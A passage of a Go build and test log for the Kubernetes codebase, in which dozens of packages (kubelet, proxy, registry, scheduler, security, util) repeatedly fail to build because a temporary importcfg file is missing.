k8s.io/kubernetes/pkg/kubelet/util/manager.test: open /tmp/go-build138919994/b3133/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util/pluginwatcher.test: open /tmp/go-build138919994/b3136/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util/queue.test: open /tmp/go-build138919994/b3139/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/util  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/util/cache  build failed \r go build k8s.io/kubernetes/pkg/kubelet/util/sliceutils.test: open /tmp/go-build138919994/b3142/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util/store.test: open /tmp/go-build138919994/b3145/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/util/format  build failed \r go build k8s.io/kubernetes/pkg/kubelet/volumemanager.test: open /tmp/go-build138919994/b3148/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/volumemanager/cache.test: open /tmp/go-build138919994/b3151/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/volumemanager/metrics.test: open /tmp/go-build138919994/b3154/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/util/manager  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/util/pluginwatcher  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/util/queue  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/util/sliceutils  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/util/store  build failed \r go build k8s.io/kubernetes/pkg/kubelet/volumemanager/populator.test: open /tmp/go-build138919994/b3157/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler.test: open /tmp/go-build138919994/b3160/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager/cache  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager/metrics  build failed \r go build k8s.io/kubernetes/pkg/master.test: open /tmp/go-build138919994/b3164/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/master/controller/crdregistration.test: open /tmp/go-build138919994/b3210/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager/populator  build failed \r go build k8s.io/kubernetes/pkg/master/reconcilers.test: open /tmp/go-build138919994/b3213/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/volumemanager/reconciler  build failed \r ?   \tk8s.io/kubernetes/pkg/kubelet/winstats\t no test files \r go build k8s.io/kubernetes/pkg/master/tunneler.test: open /tmp/go-build138919994/b3216/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/printers.test: open /tmp/go-build138919994/b3219/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/printers/internalversion.test: open /tmp/go-build138919994/b3222/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/probe/exec.test: open /tmp/go-build138919994/b3226/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/probe/http.test: open /tmp/go-build138919994/b3229/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/probe/tcp.test: open /tmp/go-build138919994/b3232/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy.test: open /tmp/go-build138919994/b3235/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/apis/config/scheme.test: open /tmp/go-build138919994/b3238/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/apis/config/validation.test: open /tmp/go-build138919994/b3242/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/config.test: open /tmp/go-build138919994/b3245/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/healthcheck.test: open /tmp/go-build138919994/b3248/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/iptables.test: open /tmp/go-build138919994/b3251/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/ipvs.test: open /tmp/go-build138919994/b3255/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/master  build failed \r fail\tk8s.io/kubernetes/pkg/master/controller/crdregistration  build failed \r fail\tk8s.io/kubernetes/pkg/master/reconcilers  build failed \r fail\tk8s.io/kubernetes/pkg/master/tunneler  build failed \r fail\tk8s.io/kubernetes/pkg/printers  build failed \r fail\tk8s.io/kubernetes/pkg/printers/internalversion  build failed \r fail\tk8s.io/kubernetes/pkg/probe/exec  build failed \r fail\tk8s.io/kubernetes/pkg/probe/http  build failed \r fail\tk8s.io/kubernetes/pkg/probe/tcp  build failed \r fail\tk8s.io/kubernetes/pkg/proxy  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/apis/config/scheme  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/apis/config/validation  build failed \r go build k8s.io/kubernetes/pkg/proxy/ipvs/testing.test: open /tmp/go-build138919994/b3261/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/proxy/userspace.test: open /tmp/go-build138919994/b3264/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/proxy/config  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/healthcheck  build failed \r go build k8s.io/kubernetes/pkg/proxy/util.test: open /tmp/go-build138919994/b3267/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/proxy/iptables  build failed \r go build k8s.io/kubernetes/pkg/proxy/winuserspace.test: open /tmp/go-build138919994/b3270/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/quota/v1.test: open /tmp/go-build138919994/b3278/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/quota/v1/evaluator/core.test: open /tmp/go-build138919994/b3281/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/proxy/ipvs  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/ipvs/testing  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/userspace  build failed \r fail\tk8s.io/kubernetes/pkg/proxy/util  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/controllerrevision.test: open /tmp/go-build138919994/b3284/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/apps/controllerrevision/storage.test: open /tmp/go-build138919994/b3287/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/apps/daemonset.test: open /tmp/go-build138919994/b3293/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/proxy/winuserspace  build failed \r fail\tk8s.io/kubernetes/pkg/quota/v1  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/daemonset/storage.test: open /tmp/go-build138919994/b3296/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/quota/v1/evaluator/core  build failed \r fail\tk8s.io/kubernetes/pkg/registry/apps/controllerrevision  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/deployment.test: open /tmp/go-build138919994/b3299/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/apps/deployment/storage.test: open /tmp/go-build138919994/b3302/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/controllerrevision/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/apps/daemonset  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/replicaset.test: open /tmp/go-build138919994/b3305/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/apps/replicaset/storage.test: open /tmp/go-build138919994/b3308/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/daemonset/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/statefulset.test: open /tmp/go-build138919994/b3311/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/deployment  build failed \r go build k8s.io/kubernetes/pkg/registry/apps/statefulset/storage.test: open /tmp/go-build138919994/b3314/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/authorization/subjectaccessreview.test: open /tmp/go-build138919994/b3317/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/deployment/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/apps/replicaset  build failed \r go build k8s.io/kubernetes/pkg/registry/authorization/util.test: open /tmp/go-build138919994/b3320/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/autoscaling/horizontalpodautoscaler/storage.test: open /tmp/go-build138919994/b3323/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/replicaset/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/apps/statefulset  build failed \r go build k8s.io/kubernetes/pkg/registry/batch/cronjob.test: open /tmp/go-build138919994/b3326/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/batch/cronjob/storage.test: open /tmp/go-build138919994/b3329/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/apps/statefulset/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/authorization/subjectaccessreview  build failed \r fail\tk8s.io/kubernetes/pkg/registry/authorization/util  build failed \r go build k8s.io/kubernetes/pkg/registry/batch/job.test: open /tmp/go-build138919994/b3332/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/batch/job/storage.test: open /tmp/go-build138919994/b3336/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/certificates/certificates.test: open /tmp/go-build138919994/b3339/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/componentstatus.test: open /tmp/go-build138919994/b3342/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/autoscaling/horizontalpodautoscaler/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/batch/cronjob  build failed \r fail\tk8s.io/kubernetes/pkg/registry/batch/cronjob/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/batch/job  build failed \r go build k8s.io/kubernetes/pkg/registry/core/configmap.test: open /tmp/go-build138919994/b3345/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/configmap/storage.test: open /tmp/go-build138919994/b3348/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/endpoint/storage.test: open /tmp/go-build138919994/b3351/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/event.test: open /tmp/go-build138919994/b3354/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/batch/job/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/certificates/certificates  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/componentstatus  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/configmap  build failed \r go build k8s.io/kubernetes/pkg/registry/core/event/storage.test: open /tmp/go-build138919994/b3357/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/limitrange/storage.test: open /tmp/go-build138919994/b3360/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/configmap/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/endpoint/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/event  build failed \r go build k8s.io/kubernetes/pkg/registry/core/namespace/storage.test: open /tmp/go-build138919994/b3366/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/namespace.test: open /tmp/go-build138919994/b3363/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/node.test: open /tmp/go-build138919994/b3369/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/event/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/node/storage.test: open /tmp/go-build138919994/b3372/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/limitrange/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/persistentvolume.test: open /tmp/go-build138919994/b3375/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/namespace  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/namespace/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/persistentvolume/storage.test: open /tmp/go-build138919994/b3378/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/node  build failed \r go build k8s.io/kubernetes/pkg/registry/core/persistentvolumeclaim.test: open /tmp/go-build138919994/b3381/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/persistentvolumeclaim/storage.test: open /tmp/go-build138919994/b3384/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/pod.test: open /tmp/go-build138919994/b3387/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/pod/rest.test: open /tmp/go-build138919994/b3390/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/pod/storage.test: open /tmp/go-build138919994/b3393/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/node/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/persistentvolume  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/persistentvolume/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/persistentvolumeclaim  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/persistentvolumeclaim/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/podtemplate/storage.test: open /tmp/go-build138919994/b3396/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/pod  build failed \r go build k8s.io/kubernetes/pkg/registry/core/replicationcontroller.test: open /tmp/go-build138919994/b3399/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/pod/rest  build failed \r go build k8s.io/kubernetes/pkg/registry/core/replicationcontroller/storage.test: open /tmp/go-build138919994/b3402/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/resourcequota.test: open /tmp/go-build138919994/b3405/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/resourcequota/storage.test: open /tmp/go-build138919994/b3408/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/rest.test: open /tmp/go-build138919994/b3411/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/secret.test: open /tmp/go-build138919994/b3414/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/pod/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/podtemplate/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/replicationcontroller  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/replicationcontroller/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/secret/storage.test: open /tmp/go-build138919994/b3417/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/resourcequota  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/resourcequota/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/core/service.test: open /tmp/go-build138919994/b3420/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/allocator.test: open /tmp/go-build138919994/b3423/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/allocator/storage.test: open /tmp/go-build138919994/b3426/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/ipallocator.test: open /tmp/go-build138919994/b3429/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/ipallocator/controller.test: open /tmp/go-build138919994/b3432/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/ipallocator/storage.test: open /tmp/go-build138919994/b3435/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/rest  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/secret  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/secret/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/service  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/service/allocator  build failed \r go build k8s.io/kubernetes/pkg/registry/core/service/portallocator.test: open /tmp/go-build138919994/b3438/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/service/allocator/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/service/ipallocator  build failed \r go build k8s.io/kubernetes/pkg/registry/core/service/portallocator/controller.test: open /tmp/go-build138919994/b3441/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/service/storage.test: open /tmp/go-build138919994/b3444/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/core/serviceaccount/storage.test: open /tmp/go-build138919994/b3447/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/extensions/controller/storage.test: open /tmp/go-build138919994/b3450/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/service/ipallocator/controller  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/service/ipallocator/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/service/portallocator  build failed \r go build k8s.io/kubernetes/pkg/registry/extensions/ingress.test: open /tmp/go-build138919994/b3453/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/service/portallocator/controller  build failed \r go build k8s.io/kubernetes/pkg/registry/extensions/ingress/storage.test: open /tmp/go-build138919994/b3456/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/networking/networkpolicy/storage.test: open /tmp/go-build138919994/b3459/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/policy/poddisruptionbudget.test: open /tmp/go-build138919994/b3462/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/policy/poddisruptionbudget/storage.test: open /tmp/go-build138919994/b3465/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/core/service/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/core/serviceaccount/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/extensions/controller/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/extensions/ingress  build failed \r go build k8s.io/kubernetes/pkg/registry/policy/podsecuritypolicy/storage.test: open /tmp/go-build138919994/b3468/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/rbac/clusterrole/policybased.test: open /tmp/go-build138919994/b3474/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/extensions/ingress/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/networking/networkpolicy/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/policy/poddisruptionbudget  build failed \r go build k8s.io/kubernetes/pkg/registry/rbac.test: open /tmp/go-build138919994/b3471/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/rbac/reconciliation.test: open /tmp/go-build138919994/b3477/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/policy/poddisruptionbudget/storage  build failed \r go build k8s.io/kubernetes/pkg/registry/rbac/role/policybased.test: open /tmp/go-build138919994/b3480/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/rbac/validation.test: open /tmp/go-build138919994/b3483/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/policy/podsecuritypolicy/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/rbac  build failed \r fail\tk8s.io/kubernetes/pkg/registry/rbac/clusterrole/policybased  build failed \r go build k8s.io/kubernetes/pkg/registry/scheduling/priorityclass.test: open /tmp/go-build138919994/b3486/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/scheduling/priorityclass/storage.test: open /tmp/go-build138919994/b3489/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/settings/podpreset/storage.test: open /tmp/go-build138919994/b3492/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/storage/storageclass.test: open /tmp/go-build138919994/b3495/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/rbac/reconciliation  build failed \r fail\tk8s.io/kubernetes/pkg/registry/rbac/role/policybased  build failed \r fail\tk8s.io/kubernetes/pkg/registry/rbac/validation  build failed \r fail\tk8s.io/kubernetes/pkg/registry/scheduling/priorityclass  build failed \r go build k8s.io/kubernetes/pkg/registry/storage/storageclass/storage.test: open /tmp/go-build138919994/b3498/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/storage/volumeattachment.test: open /tmp/go-build138919994/b3501/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/registry/storage/volumeattachment/storage.test: open /tmp/go-build138919994/b3504/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler.test: open /tmp/go-build138919994/b3507/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/scheduling/priorityclass/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/settings/podpreset/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/storage/storageclass  build failed \r go build k8s.io/kubernetes/pkg/scheduler/algorithm/predicates.test: open /tmp/go-build138919994/b3511/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/algorithm/priorities.test: open /tmp/go-build138919994/b3515/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/storage/storageclass/storage  build failed \r fail\tk8s.io/kubernetes/pkg/registry/storage/volumeattachment  build failed \r go build k8s.io/kubernetes/pkg/scheduler/algorithm/priorities/util.test: open /tmp/go-build138919994/b3518/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/registry/storage/volumeattachment/storage  build failed \r go build k8s.io/kubernetes/pkg/scheduler/algorithmprovider.test: open /tmp/go-build138919994/b3521/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/algorithmprovider/defaults.test: open /tmp/go-build138919994/b3524/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/api/compatibility.test: open /tmp/go-build138919994/b3527/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/api/validation.test: open /tmp/go-build138919994/b3530/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/algorithm/predicates  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/algorithm/priorities  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/algorithm/priorities/util  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/algorithmprovider  build failed \r go build k8s.io/kubernetes/pkg/scheduler/apis/config/v1alpha1.test: open /tmp/go-build138919994/b3533/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/apis/config/validation.test: open /tmp/go-build138919994/b3536/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/algorithmprovider/defaults  build failed \r go build k8s.io/kubernetes/pkg/scheduler/core.test: open /tmp/go-build138919994/b3539/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/factory.test: open /tmp/go-build138919994/b3542/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/internal/cache.test: open /tmp/go-build138919994/b3545/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/internal/cache/debugger.test: open /tmp/go-build138919994/b3548/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/api/compatibility  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/api/validation  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/apis/config/v1alpha1  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/apis/config/validation  build failed \r go build k8s.io/kubernetes/pkg/scheduler/internal/queue.test: open /tmp/go-build138919994/b3551/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/scheduler/nodeinfo.test: open /tmp/go-build138919994/b3554/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/core  build failed \r go build k8s.io/kubernetes/pkg/scheduler/util.test: open /tmp/go-build138919994/b3557/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/factory  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/internal/cache  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/internal/cache/debugger  build failed \r go build k8s.io/kubernetes/pkg/security/apparmor.test: open /tmp/go-build138919994/b3560/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy.test: open /tmp/go-build138919994/b3563/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/apparmor.test: open /tmp/go-build138919994/b3566/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/internal/queue  build failed \r fail\tk8s.io/kubernetes/pkg/scheduler/nodeinfo  build failed \r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/capabilities.test: open /tmp/go-build138919994/b3569/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/group.test: open /tmp/go-build138919994/b3572/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/scheduler/util  build failed \r fail\tk8s.io/kubernetes/pkg/security/apparmor  build failed \r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/seccomp.test: open /tmp/go-build138919994/b3575/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/selinux.test: open /tmp/go-build138919994/b3578/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/sysctl.test: open /tmp/go-build138919994/b3581/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/util.test: open /tmp/go-build138919994/b3587/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/security/podsecuritypolicy/user.test: open /tmp/go-build138919994/b3584/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/apparmor  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/capabilities  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/group  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/seccomp  build failed \r go build k8s.io/kubernetes/pkg/securitycontext.test: open /tmp/go-build138919994/b3590/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/selinux  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/sysctl  build failed \r go build k8s.io/kubernetes/pkg/ssh.test: open /tmp/go-build138919994/b3599/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/user  build failed \r fail\tk8s.io/kubernetes/pkg/security/podsecuritypolicy/util  build failed \r fail\tk8s.io/kubernetes/pkg/securitycontext  build failed \r go build k8s.io/kubernetes/pkg/util/async.test: open /tmp/go-build138919994/b3602/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/config.test: open /tmp/go-build138919994/b3608/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/configz.test: open /tmp/go-build138919994/b3611/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/bandwidth.test: open /tmp/go-build138919994/b3605/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/conntrack.test: open /tmp/go-build138919994/b3614/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/dbus.test: open /tmp/go-build138919994/b3617/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ebtables.test: open /tmp/go-build138919994/b3620/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/env.test: open /tmp/go-build138919994/b3623/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/flag.test: open /tmp/go-build138919994/b3626/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/goroutinemap.test: open /tmp/go-build138919994/b3629/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/hash.test: open /tmp/go-build138919994/b3632/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ipconfig.test: open /tmp/go-build138919994/b3635/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ipset/testing.test: open /tmp/go-build138919994/b3641/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ipset.test: open /tmp/go-build138919994/b3638/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/serviceaccount.test: open /tmp/go-build138919994/b3593/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ipvs.test: open /tmp/go-build138919994/b3647/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/ipvs/testing.test: open /tmp/go-build138919994/b3650/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/iptables.test: open /tmp/go-build138919994/b3644/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/labels.test: open /tmp/go-build138919994/b3653/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/metrics.test: open /tmp/go-build138919994/b3656/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/net.test: open /tmp/go-build138919994/b3662/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/util/net/sets.test: open /tmp/go-build138919994/b3665/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/serviceaccount  build failed \r fail\tk8s.io/kubernetes/pkg/ssh  build failed \r fail\tk8s.io/kubernetes/pkg/util/async  build failed \r fail\tk8s.io/kubernetes/pkg/util/bandwidth  build failed \r fail\tk8s.io/kubernetes/pkg/util/config  build failed \r fail\tk8s.io/kubernetes/pkg/util/configz  build failed \r fail\tk8s.io/kubernetes/pkg/util/conntrack  build failed \r fail\tk8s.io/kubernetes/pkg/util/dbus  build failed \r fail\tk8s.io/kubernetes/pkg/util/ebtables  build failed \r fail\tk8s.io/kubernetes/pkg/util/env  build failed \r fail\tk8s.io/kubernetes/pkg/util/flag  build failed \r fail\tk8s.io/kubernetes/pkg/util/goroutinemap  build failed \r fail\tk8s.io/kubernetes/pkg/util/hash  build failed \r fail\tk8s.io/kubernetes/pkg/util/ipconfig  build failed \r 